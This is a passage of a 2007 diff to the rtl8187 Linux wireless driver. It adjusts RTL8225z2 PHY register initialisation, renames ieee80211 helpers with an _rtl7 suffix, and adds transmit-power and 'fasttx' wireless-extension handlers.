write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if 